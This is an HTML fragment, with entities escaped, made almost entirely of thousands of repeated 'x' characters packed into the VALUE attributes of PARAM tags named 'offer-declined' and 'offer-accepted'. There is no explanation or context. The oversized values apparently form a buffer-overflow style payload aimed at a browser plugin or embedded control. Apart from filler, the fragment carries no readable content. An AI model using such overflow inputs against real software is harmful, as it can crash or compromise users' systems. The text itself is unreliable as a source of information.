xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34;\u0026gt; \u0026lt;PARAM NAME=\u0026#34;offer-declined\u0026#34; VALUE=\u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34;\u0026gt; \u0026lt;PARAM NAME=\u0026#34;offer-accepted\u0026#34; VALUE=\u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx